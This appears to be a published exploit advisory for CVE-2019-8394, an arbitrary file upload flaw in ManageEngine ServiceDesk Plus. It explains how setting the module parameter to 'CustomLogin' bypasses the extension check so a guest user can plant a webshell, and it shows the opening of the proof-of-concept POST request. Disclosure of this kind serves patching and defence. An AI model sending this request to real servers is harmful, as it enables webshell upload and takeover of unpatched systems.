Zoho ManageEngine ServiceDesk Plus (SDP) Arbitrary File Upload

Zoho ManageEngine ServiceDesk Plus (SDP) versions prior to 10.0 build 10012 suffer from an arbitrary file upload vulnerability.

MD5 | 0550a15a99693c1fd9ccbf83909a337a

# Exploit Title: Zoho ManageEngine ServiceDesk Plus (SDP) before 10.0 build 10012 - arbitrary file upload
# Date: 18-02-2019
# Exploit Author: Dao Duy Hung ([email protected])
# Vendor Homepage: https://www.manageengine.com/products/service-desk/
# Software Link: https://www.manageengine.com/products/service-desk/download.html?opDownload_indexbnr
# Version: 9.4 and 10.0 before 10.0 build 10012
# Tested on: SDP 10.0 build 10000
# CVE : CVE-2019-8394

In file common/FileAttachment.jsp line 332 only check file upload extension when parameter 'module' equal to 'SSP' or 'DashBoard' or 'HomePage', and if parameter 'module' is set to 'CustomLogin' will skip check file upload extension function and upload arbitrary file to folder '/custom/login' and this file can access directly from url 'host:port/custom/login/filename' . An authenticated user with minimum permission (ex: guest) can upload webshell to server.

POST /common/FileAttachment.jsp?module=CustomLogin&view=Dashboard1 HTTP/1.1
Host: localhost:8080
Content-Length: 50

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